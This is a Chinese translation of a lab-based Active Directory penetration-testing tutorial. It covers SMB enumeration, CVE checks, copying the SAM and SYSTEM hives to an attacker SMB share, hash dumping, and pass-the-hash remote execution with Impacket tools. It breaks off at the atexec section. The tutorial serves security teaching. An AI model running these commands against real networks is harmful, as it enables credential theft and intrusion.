本文通过 Google 翻译 AD Recon -- NetBIOS (137/138/139) and SMB (445) Part-2 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 系统枚举](#1 系统枚举)
- [1.1 getArch.py](#1.1 getArch.py)
- [1.2 DumpNTLMInfo.py](#1.2 DumpNTLMInfo.py)
- [1.3 reg.py](#1.3 reg.py)
- [1.3.1 枚举已装 KBs](#1.3.1 枚举已装 KBs)
- [1.3.2 枚举已装软件](#1.3.2 枚举已装软件)
- [1.3.3 枚举计划任务](#1.3.3 枚举计划任务)
- [1.3.4 枚举运行服务](#1.3.4 枚举运行服务)
- [1.3.5 枚举密码相关](#1.3.5 枚举密码相关)
- [2 域枚举](#2 域枚举)
- [2.1 枚举域计算机](#2.1 枚举域计算机)
- [2.2 枚举域密码策略](#2.2 枚举域密码策略)
- [3 用户枚举](#3 用户枚举)
- [3.1 枚举域用户](#3.1 枚举域用户)
- [3.1.1 Impacket 脚本](#3.1.1 Impacket 脚本)
- [3.1.2 CrackMapExec](#3.1.2 CrackMapExec)
- [3.1.3 Metasploit](#3.1.3 Metasploit)
- [3.1 枚举域用户](#3.1 枚举域用户)
- [4 组枚举](#4 组枚举)
- [4.1 枚举域组](#4.1 枚举域组)
- [4.2 枚举本地组](#4.2 枚举本地组)
- [5 漏洞枚举](#5 漏洞枚举)
- [5.1 Nmap 漏洞搜寻](#5.1 Nmap 漏洞搜寻)
- [5.2 CrackMapExec 漏洞搜寻](#5.2 CrackMapExec 漏洞搜寻)
- [5.2.1 ZeroLogon](#5.2.1 ZeroLogon)
- [5.2.2 PrintNightmare](#5.2.2 PrintNightmare)
- [5.2.3 noPac](#5.2.3 noPac)
- [5.2.4 胁迫攻击:petitpotam、shadowcoerce、dfscoerce](#5.2.4 胁迫攻击:petitpotam、shadowcoerce、dfscoerce)
- [6 提权后 SAM 哈希转储](#6 提权后 SAM 哈希转储)
- [7 命令执行](#7 命令执行)
- [7.1 Impacket 脚本](#7.1 Impacket 脚本)
- [7.1.1 psexec.py](#7.1.1 psexec.py)
- [7.1.2 smbexec.py](#7.1.2 smbexec.py)
- [7.1.3 dcomexec.py](#7.1.3 dcomexec.py)
- [7.1.4 wmiexec.py](#7.1.4 wmiexec.py)
- [7.1.5 atexec.py](#7.1.5 atexec.py)
- [7.2 CrackMapExec](#7.2 CrackMapExec)
- [7.1 Impacket 脚本](#7.1 Impacket 脚本)
- [8 最后的想法](#8 最后的想法)
0、前言
在这篇文章中,我们将继续第 1 部分末尾的场景,而在上个场景中我们找到了一组有效的凭证。
从那里开始,我们将使用该凭据收集 系统、域、用户和组 的信息来进一步进行 SMB 枚举。接着,开始搜寻多年来困扰 SMB 的常见漏洞 (CVE)。最后,我们将回顾可以通过 SMB 执行远程命令的技术和工具,以及执行此操作所需的条件。
注意:有关 系统、域、用户和组 信息的枚举都可以通过 enum4linux 工具自动完成。
1、系统枚举
一旦找到了一组有效的凭证,我们首先要做的便是枚举目标机器系统相关的信息。为此,可以使用三种不同的 Impacket 工具来执行系统枚举:getArch.py、DumpNTLMInfo.py、reg.py
1.1、getArch.py
首先,我们将使用 getArch.py 工具去提取目标 Windows 主机的架构。
bash
getArch.py -target 172.16.1.200

Perfect!该工具成功运行,并告诉我们 Windows 10 主机运行的是 x64 架构。
此外,该工具还支持批量检查多个主机架构。为此,我们可以将 nbtscan 扫描发现的 IP 地址全部写入到一个 TXT 文件中,然后交给该工具进行批量检测。


bash
getArch.py -targets ./hosts.txt

1.2、DumpNTLMInfo.py
下一个工具是 DumpNTLMInfo.py,该工具提供了有关目标系统的一些非常有用的信息,包括 SMB 版本、主机名和操作系统版本。
bash
DumpNTLMInfo.py 172.16.1.200

Great!从上面输出可知,这台主机运行的 SMB 版本是 3.0,并且启用了 SMBv1(重大发现!)、主机名是"JUGG-VCREED",属于"JUGGERNAUT"域、主机版本是"Windows NT 10 -- 19041"。
注:SMBv1 存在多个已知严重漏洞,例如 MS17-010(EternalBlue)。一旦启用 SMBv1,即使是打了补丁的系统,在配置错误或权限失控下仍可能被攻击。
记下"NT"部分,因为这不一定意味着是 Windows 10。
Windows NT 10 可能是 Windows 10、11,也可能是 Server 2016、2019、2022 中的任一个。

该页面显示了所有 Windows NT 版本的各种 version/build。通过这些信息,我们就可以对目标机上运行的操作系统做出合理的猜测。
例如,IP 为 172.16.1.200 的主机的内部版本号为 19041,而该版本号仅适用于 Windows 10。
此外,再检查 IP 为 172.16.1.5 的 DC 机器。
bash
DumpNTLMInfo.py 172.16.1.5

可以看到,DC 主机的内部版本号是 17763,而由于这是 DC,因此我们知道它运行的一定是 Server。综合考虑这两个因素,我们可以推断出该 DC 运行的一定是 Server 2019。
Cool!这意味着,通过使用 getArch.py + DumpNTLMInfo.py 我们便能够提取到需要在主机上运行 systeminfo 才能知晓的信息,而唯一缺少的就只有补丁信息了。
1.3、reg.py
最后一个工具是 reg.py,该工具可以用来查询目标机器注册表中的信息。例如,我们可以检查已安装的 KBs、已安装的应用程序、计划任务、正在运行的服务、是否启用了 LAPS 或 wdigest、winlogon 中是否存储了明文密码等。
但此技术的一个缺点是,在默认情况下,标准用户被拒绝在 RPC 级别查看 HKLM(本地计算机)根键中的内容。【但如果发生某些配置错误的事情,则可能会导致这种情况发生,因此仍然值得尝试任何找到的凭据。】
虽然标准用户可能无权查询 HKLM 根键的内容,但可以查询 HKU(用户)键以及 HKCU(当前用户)键。而由于 HKCU 是 HKU 的子键,因此,在这两个位置都可以访问到相同的信息。
- HKU -- 包含计算机上所有已加载的用户配置文件。【即在此机器登录过的用户的配置文件】
- HKCU -- 包含当前登录用户的配置信息。
下面让我们来尝试检查一下当前用户是否可以枚举 HKLM 键:
bash
reg.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.200 query -keyName "HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Updates" -s

正如我们所预期的那样,访问被拒绝了,但此尝试依旧是值得的。
如上所述,作为标准用户,我们可以枚举的两个键是 HKU 和 HKCU,它们可能会提取一些已安装的应用程序:
bash
reg.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.200 query -keyName "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"

虽然没有找到结果,但命令确实有效。只是该用户没有安装任何应用程序。
接下来,为了展示其余的 reg.py 示例,我们将提供域管理员凭据,以便我们可以枚举 HKLM。
如果我们真的找到了管理员凭证,那么 reg.py 下面的这些示例用法也就没什么用了,因为此时已经有更好的选择了。因此,我们假设以下命令的输出是基于标准用户凭证的,以预备在权限错误配置的情况下有一个参考依据。
1.3.1、枚举已装 KBs
首先,可以使用以下命令查找已安装的 KB:
bash
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Updates" -s

1.3.2、枚举已装软件
接下来,可以在两个不同的子项中检查已安装的应用程序:
bash
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall"


这里看到的便是"程序和功能"(添加/删除程序)中看到的已安装应用程序列表。其中两个特别引人注目,因为它们是非标准的:Wireshark 和 NpcapInst(Wireshark 自带的一个程序)。
1.3.3、枚举计划任务
还可以枚举主机上运行的计划任务。为了更详细地了解,我们可以使用 grep 来尝试找出正在运行的自定义/非标准任务:
bash
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\Taskcache\\Tasks" -s | grep "Path" | grep -iv 'Microsoft\\Windows'

1.3.4、枚举运行服务
接下来,我们可以检查主机上正在运行的服务。
bash
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SYSTEM\\CurrentControlSet\\Services"

一旦找到想要了解更多信息的服务,就可以将其添加到上述命令中,并获取有关特定服务的详细信息。例如,如果我们找到一个名为"backdoor"的服务:
bash
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SYSTEM\\CurrentControlSet\\Services\\backdoor"

1.3.5、枚举密码相关
最后,有几个与密码相关的密钥可能会引起我们的兴趣。
首先,可以通过查询以下注册表项来检查是否安装了LAPS (本地管理员密码解决方案):
bash
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\Software\\Policies\\Microsoft Services\\AdmPwd"

上面的错误表明注册表项不存在,这告诉我们主机上没有安装 LAPS。
接下来,还可以检查 WDigest 键,看看该服务是否已启用。具体来说,我们要检查"UseLogonCredential"是否设置为 1,这意味着明文凭据存储在内存中。这对于后期攻击来说非常有用。
bash
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest"

不幸的是,密钥不存在,这表明并没有凭据以明文形式存储在内存中。
最后,我们可以检查 WinLogin 键以查询是否存储自动登录凭据。
bash
reg.py juggernaut.local/administrator:'Ishalln0tbecracked!'@172.16.1.200 query -keyName "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\Currentversion\\Winlogon"

Amazing!我们找到了本地管理员凭据,可以用来获取目标上的 SYSTEM shell。
从上面的例子可以看出,reg.py 是一个强大的工具,它可以提供大量有关主机的重要信息。
再次强调,使用这项技术以标准用户身份枚举系统密钥确实需要一些运气,但如果成功了那就中奖了!
接下来,让我们看看可以通过 SMB 执行的一些域枚举。
2、域枚举
说到域枚举,除了用户和组之外,我们能通过 SMB 提取的信息非常有限。另外,域枚举需要通过定位 DC (172.16.1.5) 来完成,如果我们定位到 Windows 10 主机,则无法成功。【注:因为域信息都存储在 DC 上,入域的主机上登录域账户查询域信息也都是通过询问 DC 来完成的。】
注:因此,以下域枚举的示例均是面向 DC 进行的。只有在枚举入域主机上的本地用户、组时才需要通过建立立足点的方式去本地进行枚举,此时无法通过以下这些工具去进行。
但 DC 的本地用户和本地组较为特殊,它们可以通过以下这些工具去枚举。
DC 中新建的用户默认就属于域用户组,因此可以欠妥的理解为 DC 机器无本地用户;DC 中的本地组可以被域用户加入,加入的域用户只有 DC 上才能使用这个本地组的特权。例如,加入了 DC 的 administrators 本地组之后,它在其它域主机上就是个普通用户,但在 DC 上却拥有一些高权限,能随意进入机器上 administrator 的家目录进行读写。
此时在其它域主机上通过
net user test /domain
查看该用户详情,可以看到它的全局组是 domain user 组,本地组是 administrators 组,但注意 这个本地组 administrators 指的是 DC 上的本地组,而非当前机器上的本地组。DC 上的本地组可以通过
net localgroup
查询;DC 上的域组可以通过net group
查询。DC 上的域用户可以通过net user
查询。域主机上的本地组可以通过
net localgroup
查询;域主机上的本地用户可以通过net user
查询;域主机上查询域用户可以通过net user /domain
查询;域主机上查询域组可以通过net group /domain
查询。
在下面的示例中,我们将学习如何提取已加入域的计算机列表,以及如何确定域密码策略。
2.1、枚举域计算机
Impacket 脚本 net.py 的功能与 net.exe 基本相同,它允许我们枚举包括域用户、组、计算机等在内的大量信息。
接下来,使用以下命令来提取所有加入域的计算机的列表:
bash
net.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.5 computer

此外,还可以使用另一个工具 CrackMapExec 来达到相同的效果。
bash
crackmapexec smb 172.16.1.5 -u intern -p 'W3lc0met0Th3p4rtY!' -d juggernaut.local --computers

2.2、枚举域密码策略
在攻击 AD 环境时,了解密码策略至关重要,这样我们才能在定义的策略范围内工作,防止在盲目执行密码喷洒攻击时导致锁定用户。
可以使用 CrackMapExec 来提取域的密码策略:
bash
crackmapexec smb 172.16.1.5 -u intern -p 'W3lc0met0Th3p4rtY!' -d juggernaut.local --pass-pol

Perfect!这告诉我们密码的最小长度为 7 位、密码复杂度已启用、并且锁定和重置计时器均设置为 30 分钟。
接下来,我们将学习如何使用 Impacket 和 crackmapexec 来转储用户和组信息。
3、用户枚举
在 AD 环境中枚举用户时,域用户和本地用户非常重要。虽然本地用户从技术上来说不是域的一部分,但它们在域设置中确实发挥着重要的作用。
但要从加入域的主机(非 DC 主机)上提取本地用户信息,则需要先在目标机器上建立立足点才行。因此,接下来我们将只关注域用户枚举,不考虑本地用户的枚举。
3.1、枚举域用户
在本节中,我们将学习如何使用三种不同的工具来枚举域用户:Impacket、CrackMapExec、Metasploit。
3.1.1、Impacket 脚本
先从 Impacket 开始,有三个很棒的脚本可用于枚举给定域中的所有用户:GetADUsers.py 、samrdump.py 、net.py。
首先使用 GetADUsers.py,它将提取所有的域用户信息:
bash
GetADUsers.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!' -dc-ip 172.16.1.5 -all

接着使用 samrdump.py,它将提取域用户列表以及每个用户的一些附加信息:
bash
samrdump.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.5

最后是 net.py,它只提取了一份域用户列表,而无其它的附加信息:
bash
net.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.5 user

3.1.2、CrackMapExec
CrackMapExec 是我们可以用来提取域用户列表的另一个工具。
使用以下命令,我们可以提取到域用户列表及其"描述"信息,这是查找密码的常见位置:
bash
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' --users

Amazing!可以看到"vcreed"是服务台用户、"nessex"是域管理员、"backup_svc"由 nate 管理,并且帐户密码可能是:Makemoney1!
3.1.3、Metasploit
Metasploit 中的模块 smb_enumusers 可用于枚举域用户:
bash
use auxiliary/scanner/smb/smb_enumusers
show options
set RHOSTS 172.16.1.5
set SMBUser intern
set SMBPass W3lc0met0Th3p4rtY!
set SMBDomain juggernaut.local
exploit

可以看到,输出给出了域用户列表,以及有关密码策略的信息。
现在,我们已经了解了如何通过几种不同的方式枚举域用户,接下来看看如何枚举域组。
4、组枚举
与在 AD 环境中枚举用户类似,枚举域组和本地组也很重要。
注:(1)可以通过工具枚举 DC 本地组的列表。(2)还可以借助 crackmapexec 工具的 LDAP 协议枚举 DC 本地组或域组中的成员,注意是针对 DC 的本地组,而非域主机的本地组。
但要从加入域的主机(非 DC 主机)上提取本地组,则需要先在目标机器上建立立足点才行。
接下来,我们先来了解一些可以用来枚举域组的工具。然后,我们将深入探讨本地组假设的概念。
4.1、枚举域组
对于域组枚举,我们将使用与域用户枚举相同的两个工具:Impacket 和 CrackMapExec。
再次从 Impacket 开始,可以使用 net.py 收集域组列表。
bash
net.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.5 group

Awesome!该脚本转储了域中的组列表,而其中一个似乎是自定义组:Service Desk。
接下来,还可以使用 CrackMapExec 转储域组列表。
bash
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' --groups

有趣的是,CrackMapExec 不仅转储了域组,还转储了本地组,只是输出内容都混合在一块了。
此外,输出还显示了每个组中的成员数量。但不幸的是,没有 SMB 模块可以用来从指定组中提取组成员。而如果 LDAP(S) 服务是开放的话(端口 389/636),那么我们可以使用 LDAP 的 group-mem 模块从指定组中提取组成员列表。
bash
crackmapexec ldap 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M group-mem -o GROUP="Domain Admins"

Great!该模块成功从域管理员组中提取出了成员列表,并发现了第二个 DA 帐户"nessex"。
4.2、枚举本地组
本地组枚举(在 DC 上)与域组枚举非常相似,并且将再次使用 CrackMapExec 和 net.py 完成。
从 net.py 开始,我们可以使用以下命令获取 DC 上的本地组列表:
bash
net.py juggernaut.local/intern:'W3lc0met0Th3p4rtY!'@172.16.1.5 localgroup

Awesome!就像使用 net.py 提取域组列表一样,对本地组也是执行类似的操作。
由于某种原因,net.py 没有将 DnsAdmins 添加到列表中?
虽然 CrackMapExec 能够通过 --groups 选项同时转储域组和本地组,但它也可以仅转储本地组。
bash
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' --local-groups

可以看到,CrackMapExec 能够提取到完整的本地组列表,其中还包括 DnsAdmins 组。
这里,我们可以再次使用 LDAP 模块来提取上面突出显示的每个组中的成员列表。
上面突出显示的五个组很重要,因为它们包含高价值目标。
需要注意的是,上述某些组(例如"备份操作员"或"远程管理用户")中的成员,可能网络上其它主机上的成员也使用着和它相同的名称、相同的组、相同的用途、相同的性质、甚至相同的密码。当然,这只是一种假设,但也不失为一种尝试途径,尤其是在进行密码喷洒或用户名爆破的情况下。
现在,我们已经了解了如何执行标准枚举,下面就来学习一些不同的方法,看看如何检查易受常见漏洞(CVE)攻击的主机。
5、漏洞枚举
除了通过 SMB 枚举域对象之外,我们还可以枚举常见的 AD 相关漏洞。
大多数较旧的漏洞直接面向 SMB 服务,并且这些漏洞通常无需凭据即可执行,从而直接获得 SYSTEM,而这些漏洞可借助 namp 来检查;而除了 SMB 特定的漏洞之外,我们还可以使用 CrackMapExec 来检查常见或较新的漏洞。
更酷的是,这些漏洞大多都可以被远程利用!
当您拥有一组凭据并且无法在目标上立足时,能够远程执行这些漏洞特别有用。
5.1、Nmap 漏洞搜寻
Nmap 预装了大量的" smb-vuln "脚本,这些脚本旨在检查被扫描的目标是否容易受到各种常见的公共漏洞的攻击。
通过以下命令,我们可以看到攻击机上的所有 smb-vuln 脚本:
bash
ls -l /usr/share/nmap/scripts/smb-vuln*

这些漏洞大多已经过时,不过我们可以在网上查找最新的脚本,然后添加到脚本目录中即可。由于这些都是内置脚本,所以在本例中我们只使用它们。
利用这些脚本的最佳方式是一次性运行所有脚本,这可以匿名运行,也可以使用一组凭据运行:
注:新版 nmap 脚本选项 --script 的参数要加引号才支持通配符的使用,否则可能会报错。如,nmap --script="smb-vuln*" 1.1.1.1
bash
nmap -sV -Pn --script="smb-vuln*" 172.16.1.5 -p139,445

再次强调,这些较旧的漏洞在这个更新的 win10 主机上可能发现不了什么,但如果是面对较旧版本的 win7 主机,我们可能会更幸运一些。例如:
bash
nmap -sV -Pn --script="smb-vuln*" 172.16.1.150 -p139,445 --script-args smbusername='intern',smbpassword='W3lc0met0Th3p4rtY!',smbdomain='juggernaut.local'

从输出中,我们可以看到该主机易受到 MS17-010(永恒之蓝)的攻击。
虽然这表明 nmap 的确是有一些不错的脚本可以用来枚举常见的漏洞,但它只对旧版本的 Windows 主机才有用。
但幸运的是,CrackMapExec 有一些模块可用于寻找较新的、常见的漏洞。
5.2、CrackMapExec 漏洞搜寻
使用 CrackMapExec,我们可以找到一些影响现代 Windows 版本的漏洞。但有一点需要注意:除了 Printnightmare 之外,我们要寻找的所有漏洞都仅适用于 Windows Server 操作系统。
注:CrackMapExec 目前已停止维护,其后继工具 nxc 命令用法上完全兼容 CrackMapExec 并且功能更为强大。若以下示例中出现命令执行报错且无法运行的情况,建议去尝试 nxc。
总的来说,下面六个最近披露的(常见)漏洞是值得检查的:
- zerologon (CVE-2020-1472)
- printnightmare (CVE-2021-1675、CVE-2021-34527)
- nopac (CVE-2021-42278、CVE-2021-42287)
- petitpotam (CVE-2021-36942)
- shadowcoerce (CVE-2022-26925)
- dfscoerce (未分配 CVE 编号)
对于上述的每个漏洞,下面我们将看到有关漏洞的简要描述,以及如何检查目标主机是否存在漏洞。
我的实验室运行的是 2021 年下载的未打补丁的 Windows Server 2019 版本。因此,我们将看到 DC 容易受到以下大多数漏洞的攻击。然而,即使是已打完补丁的 Windows Server 计算机也可能容易受到其中一些攻击。
5.2.1、ZeroLogon
ZeroLogon 是一个利用 Microsoft Active Directory Netlogon 远程协议 (MS-NRPC) 中的加密缺陷的漏洞。
通过伪造特定 Netlogon 功能的身份验证令牌,攻击者可以调用函数将域控制器的计算机密码设置为任意值。之后,攻击者可以使用新密码控制 DC 并窃取域管理员的凭据。
此漏洞的可怕之处在于无需任何凭证即可执行!
bash
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M zerologon

Awesome!可以看到,DC 容易受到此漏洞的攻击,同时 CrackMapExec 还提供了 EXP 利用链接。
此外,由于这种攻击无需凭证即可进行,因此我们可以以空会话的方式去枚举目标。
bash
crackmapexec smb 172.16.1.5 -u '' -p '' -d 'juggernaut.local' -M zerologon
#crackmapexec smb 172.16.1.5 -M zerologon

5.2.2、PrintNightmare
在这六个漏洞中,PrintNightmare 是唯一一个能够同时影响 Windows 和 Windows Server 的严重安全漏洞。该漏洞目前有两个变体,一个允许远程代码执行 (CVE-2021-34527),另一个可导致权限提升 (CVE-2021-1675)。
- Windows Server (2004, 2008, 2008 R2, 2012, 2012 R2, 2016, 2019, 20H2)
- Windows (7, 8.1, RT 8.1, 10)
bash
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M printnightmare

在面对 Windows 10 主机:
bash
crackmapexec smb 172.16.1.200 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M printnightmare

有关利用 PrintNightmare 的详情,可查看该文章。
5.2.3、noPac
noPac 是一个影响 Kerberos 特权属性证书 (PAC) 的安全绕过漏洞,允许攻击者冒充域控制器。
该漏洞通过一种名为 samAccountName Spoofing 的技术实现,一旦域控制器被模拟,攻击者就可以利用传递哈希攻击对 DC 进行 DCSync 攻击,并转储域中的所有哈希值。
bash
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M nopac

5.2.4、胁迫攻击:petitpotam、shadowcoerce、dfscoerce
胁迫攻击是一种 NTLM 中继攻击,可强制域控制器尝试进行身份验证。
通过设置中间人攻击,攻击者可以拦截强制身份验证请求,并将 NTLM 凭据转发给 ADCS(Active Directory Certificate Services)等服务。利用这种技术,攻击者可以在几分钟内轻松地从一个标准用户账户完全侵入域。
PetitPotam 通过利用加密文件系统远程 (EFSRPC) 协议中的缺陷来强制目标机器向网络上的其它系统进行身份验证,从而允许攻击者捕获 NTLM 哈希并可能将其中继到其它地方。
bash
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M petitpotam

Shadowcoerce 基于 PetitPotam 漏洞,但它不使用 MS-EFSRPC,而是使用文件服务器远程 VSS 协议 (MS-FSRVP)。该协议是一种用于在远程计算机上创建文件共享卷影副本的协议。
为了让域控制器执行这些操作,需要为服务器安装文件服务器 VSS 代理服务。
bash
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M shadowcoerce

DFSCoerce 也基于 PetitPotam 漏洞,但它使用 MS-DFSNM 协议,这是一种允许通过远程过程调用 (RPC) 接口管理 Windows 分布式文件系统 (DFS) 的协议。
bash
crackmapexec smb 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' -M dfscoerce

Amazing!通过寻找旧漏洞(nmap)以及新漏洞(CrackMapExec),我们发现了多种可以提升权限和完全接管 DC 的途径!
现在,我们已经了解了如何检查常见的漏洞,下面继续学习如何转储哈希,以及使用哈希吧。
6、提权后 SAM 哈希转储
假设我们能够在 Windows 10 主机(172.16.1.200)上远程利用 PrintNightmare 漏洞,从而获得 SYSTEM shell。

然后,使用 reg 命令提取本地 SAM 哈希。
bash
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM

接着,通过 SMB 共享将其传输到攻击机。
bash
smbserver.py share $(pwd) -smb2support

bash
copy .\SAM \\172.16.1.30\share
copy .\SYSTEM \\172.16.1.30\share

一旦获得 SYSTEM 和 SAM 文件,我们就可以使用 secretsdump.py 转储哈希值。
bash
secretsdump.py -sam SAM -system SYSTEM LOCAL

获得的哈希值无需继续破解,我们可以通过下文中 Impacket、CrackMapExec 工具以哈希传递的方式去使用它们。
Administrator : 3542d79d5d17bc9d3014d4d56b5e3060
请注意,哈希传递攻击只需要获得的哈希的后半部分即可。
7、命令执行
在本节中,我们将介绍一些可用于通过 SMB 在目标主机上执行命令的工具。需要注意的是,这些工具几乎总是需要某种管理员权限,无论是域管理员 还是本地管理员。
需要管理员权限的原因有两个:
- 对于某些脚本,我们需要对共享文件夹(通常是 ADMIN$)具有写权限。
- 对于所有脚本,我们都需要权限来操作服务、计划任务等。
通过 SMB 执行命令的方法有五种:psexec、smbexec、dcomexec (mmc)、wmiexec、atexec。
接下来,我们将通过 CrackMapExec 和 Impacket 来查看每种方法的示例,并简要说明每种方法的工作原理。
7.1、Impacket 脚本
首先,我们从 Impacket 脚本 psexec.py、smbexec.py、dcomexec.py、wmiexec.py、atexec.py 开始。
在第一部分内容中,我们提到了上述每种技术所使用的命名管道,如下:
- \pipe\svcctl:服务控制管理器 -- 远程创建、启动和停止服务以执行命令。【psexec.py 和 smbexec.py 的工作原理】
- \pipe\atsvc:任务计划程序 -- 远程创建计划任务来执行命令。【atexec.py 的工作原理】
- \pipe\epmapper:支持 Windows 管理规范 (WMI) 的分布式组件对象模型 (DCOM) -- 通过 WMI 执行远程命令。【wmiexec.py 和 dcomexec.py 的工作原理】
这些管道很重要,因为它向我们展示了每个脚本执行命令所使用的不同技术。
此外,这些脚本(psexec.py 除外)中的所有攻击方法都是无文件的。
由于上一节已经提取到了 win10 机器的本地管理员哈希,那么接下来我们就开始展示各种工具的用法吧!
请勿将本地管理员帐户与域管理员账户混淆。提取哈希值的 SAM 文件中仅包含本地用户哈希值,而不包含域哈希值。
同时注意:由于上小节获取到的哈希属于本地管理员帐户,因此我们不会在运行的命令中指定域参数。而如果是域管理员账户的话,是需要额外指定域参数的。
7.1.1、psexec.py
psexec.py 的使用方法与传统的 PsExec Sysinternals 程序非常相似。区别在于:(1)Impacket 脚本使用的是 RemComSvc.exe 程序,而不是使用 psexesvc.exe 程序;(2)Impacket 脚本会使用随机命名的 RemComSvc.exe 程序,并将其上传到它能找到的任何可写共享而不仅仅是 ADMIN$
,然后创建并启动随机命名的服务来执行该文件。
因此,对于非管理员用户来说,要使用该工具去执行命令,那么它必须具备对任何共享的写权限以及创建和启动服务的能力才行。
通过使用 psexec.py 传递本地管理员哈希值来获取 SYSTEM shell,如下所示:
bash
psexec.py -hashes :3542d79d5d17bc9d3014d4d56b5e3060 [email protected]

要使用带密码的 psexec.py,语法如下:
bash
psexec.py administrator:'LocalAdminPassword1!'@172.16.1.200
7.1.2、smbexec.py
smbexec.py 的工作方式与 psexec.py 非常相似,但它不会将任何文件传到磁盘上,因此不需要对任何共享具有写入权限。
取而代之的是,smbexec.py 创建一个名为"BTOBTO"的服务,其中包含要使用 %COMSPEC%(指向 cmd.exe)执行的命令字符串。它将命令回传至 bat 文件,将 stdout 和 stderr 重定向至临时文件,然后执行 bat 文件,删除该文件,再删除"BTOBTO"服务。
这会产生一个"伪 shell"(半交互式 shell),它只是一个 SMB 服务器,将我们运行的命令的结果反映给我们。
我们执行的每个命令都会创建一个新的服务,并重复该过程。因此,这种技术不需要二进制文件,它只是将每个所需的命令作为新的服务来执行。
bash
smbexec.py -hashes :3542d79d5d17bc9d3014d4d56b5e3060 [email protected]

要使用带密码的 smbexec.py,语法如下:
bash
smbexec.py administrator:'LocalAdminPassword1!'@172.16.1.200
7.1.3、dcomexec.py
dcomexec.py 的工作原理是利用网络上的三个 DCOM 端点之一来执行命令:ShellWindows、ShellBrowserWindow、MMC20。在三个选项中,MMC20 COM 对象是最有趣的,因为它与 mmc.exe 管理控制台有关。
分布式组件对象模型 (DCOM) 是一种允许软件组件通过网络直接通信的协议。
实际上,最有趣的是 MMC20 COM 对象有一个名为 ExecuteShellCommand 的方法,它允许我们执行命令。因为每个命令都作为 mmc.exe 的子进程执行,所以得到的 shell 也是一个半交互式 shell,这类似于使用 smbexec.py 一样。
bash
dcomexec.py -hashes :3542d79d5d17bc9d3014d4d56b5e3060 [email protected] -object MMC20

而 dcomexec.py 真正酷的地方在于,命令是以实际管理员用户 Administrator 的身份执行的,而不是 SYSTEM 身份。
要使用带密码的 dcomexec.py,语法如下:
bash
dcomexec.py administrator:'LocalAdminPassword1!'@172.16.1.200 -object MMC20
7.1.4、wmiexec.py
wmiexec.py 使用 DCOM 接口连接到远程目标的 Windows 管理规范 (WMI) 接口,并执行命令。此方法与 dcomexec.py 非常相似,只是命令作为 wmiprvse.exe 的子进程运行,而不是 mmc.exe。
这两个脚本都是利用 DCOM 进行传送,只是方式不同。wmiexec.py 使用 DCOM 接口作为与 WMI 的连接方法,而 dcomexec.py 是使用实际的 DCOM 对象来执行命令。
由于每个命令都作为 wmiprvse.exe 的子进程执行,因此得到的是一个半交互式 shell,这类似于我们使用 dcomexec.py 和 smbexec.py 所看到的一样。
bash
wmiexec.py -hashes :3542d79d5d17bc9d3014d4d56b5e3060 [email protected]

从上面输出中可以发现它与 dcomexex.py 的另一个相似之处是,它的命令执行也是以实际管理员用户 Administrator 的身份执行的,而不是 SYSTEM 身份。
要使用带密码的 wmiexec.py,语法如下:
bash
wmiexec.py administrator:'LocalAdminPassword1!'@172.16.1.200
7.1.5、atexec.py
atexec.py 使用 Windows 系统上的计划任务服务来执行提供的命令。
一旦执行,atexec.py 将创建一个计划任务,触发该任务,然后将其删除。
于是每次执行命令时,都会新创建一个计划任务来执行指定的命令。因此,此方法不会产生像 psexec.py 这样的交互式 shell,也不会像 smbexec.py、dcomexec.py、wmiexec.py 这样的半交互式 shell【其实就是没有 shell】。相反,我们必须在 atexec.py 执行命令末尾指定要执行的每个命令。
bash
